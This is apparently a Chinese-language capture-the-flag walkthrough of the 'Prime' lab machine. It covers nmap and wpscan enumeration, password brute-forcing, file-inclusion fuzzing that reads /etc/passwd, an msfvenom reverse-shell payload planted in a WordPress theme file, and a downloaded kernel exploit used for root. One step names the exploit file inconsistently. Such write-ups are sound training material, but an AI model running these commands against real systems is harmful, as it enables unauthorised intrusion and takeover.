Prime_Series
macOS:192.168.3.44
目标主机:192.168.3.46
信息搜集
确认好本机网段后对c段进行扫描
1 | sudo nmap -sn 192.168.3.0/24 |
对比靶机启动前后ip增加前后的变化,确认靶机为192.168.3.46
nmap使用
TCP端口扫描
1 | sudo nmap -sT --min-rate 10000 -p- 192.168.3.46 |
扫描结果可以看出22端口和80端口为开放,因为是本地环境,扫描一次就可以了,但是实际测试中最好扫两次,对比前后结果是否一致
UDP端口扫描
1 | sudo nmap -sU --min-rate 10000 -p- 192.168.3.46 |
简单漏洞检测
利用nmap内置插件对可能存在的漏洞进行扫描
1 | sudo nmap -sT --script=vuln -p22,80 192.168.3.46 |
扫描结果显示,80端口有wordpress框架,存在一个dos漏洞,但是不适用我们渗透测试
主机信息扫描
1 | sudo nmap -sT -sC -sV -O -p22,80 192.168.3.46 #端口服务、版本、操作系统信息 |
22端口为openssh服务 7.2版本、80端口 apache服务器搭建的http服务、OS很大概率为linux3.2-4.9
web渗透
80端口
1 | curl 192.168.3.46:80 |
显示为一张图片,没有很大的可用信息,看看目录
1 | dirsearch -u http://192.168.3.46 |
挨个查看结果目录
利用wpscan扫描后得到的信息
1 | wpscan --url http://192.168.3.46/wordpress |
1 | 版本:WordPress version 5.2.2 |
枚举可以利用的插件
1 | wpscan --url http://192.168.3.46/wordpress --enumerate vp |
枚举用户名
1 | wpscan --url http://192.168.3.46/wordpress --enumerate u |
发现victor账户,尝试进行密码爆破
1 | wpscan --url http://192.168.3.46/wordpress --passwords /Users/drblack/Documents/Tools/Dict/Passwords/500-worst-passwords.txt |
爆破不出来emm,这里想了一下,貌似没有很好的路径走下去,5.22版本主要是
猜测可能目录爆破不够完善,忽略了一些东西。重新再用gobuster扫一下。
1 | gobuster dir -u http://192.168.3.46 -x php,txt,zip --wordlist /Users/drblack/dict/directory-list-2.3-medium.txt |
查看secret.txt,提示让我们fuzz每个我们发现的php文件,访问location.txt获得下一步行动
直接没有访问到
把之前的图片保存下来,binwalk看看有没有图片隐写
没有什么东西,emm再回过去看看。!!这里也卡了挺久,发现是之前的secret.txt文件没有认真读,他还有个意思是我们fuzz往php文件里面传的参数,那么用wfuzz进行模糊测试,测试可能的参数点,从index.php开始测
1 | wfuzz -w wordlist.txt -u http://192.168.3.46/index.php\?FUZZ --hw 12 #--hw 过滤word长度12的结果,因为失败的长度都是12 |
显示file参数可用。
再试试image.php文件,没有结果
那么添加file参数对index.php文件进行测试,发现提示我选择的文件是错误的,读取/etc/passwd尝试,仍然为该提示。
此处结合之前secret.txt中提示的location.txt为下一步,用file读取location.txt试试
出现了新的提示,选择secrettier360参数尝试其他php文件,那么应该是指的image.php文件了
修改参数,提示参数正确
那么试试读/etc/passwd
比较杂乱,试试curl
其中的saket文件中提示有个password文件在/home/saket目录下
可能是密码,ssh登录看看
两个账户都不对
可能是wordpress?试试
还真是wordpress的账户密码,这种后台一般会存在可以修改代码或者是上传文件的情况,查找一番后在主题编辑器中可以修改php文件
利用msf生成反弹shell木马,复制到php文件中去
1 | msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.3.44 lport=4444 -f raw |
但是好像不能保存,🤔️呃。。没有写权限
这种情况只能去主机修改文件的访问权限,我们没有shell只能看看其他文件有没有权限,这里找了一会,选择为”Twenty Nineteen”里面的secret.php文件
这里可以修改保存
msf设置监听
1 | use exploit/multi/handler |
谷歌搜索一下,看看主题对应文件路径如何访问
访问路径
http://192.168.3.46/wordpress/wp-content/themes/twentynineteen/secret.php
这里session一直会关闭,问题出在我们没有设置对应之前msfvenom的payload,导致不能准确连接,再输入一个命令
1 | set payload php/meterpreter/reverse_tcp |
再次执行,成功弹shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' #获得交互式shell |
拿到第一个flag
提权
在尝试了计划任务和其他的提权后,效果不是很好。这里参考了红笔师傅的思路,
1 | uname -a #查看操作系统信息 |
是linux ubuntu 4.10.0-28较低版本,可能存在内核漏洞
利用searchsploit搜索漏洞
第二个和第三个是可以提权的,第二个为.c文件,似乎可能性大一些?
1 | searchsploit -m 45010.c |
本地开启服务器,用于传输文件
1 | sudo php -S 0:80 |
从macos中下载exp文件到目标机器
1 | wget 192.168.3.44:80/40510.c |
gcc编译运行
1 | gcc 45010.c -o 45010 |
最后利用python重新生产一个交互性更强的shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |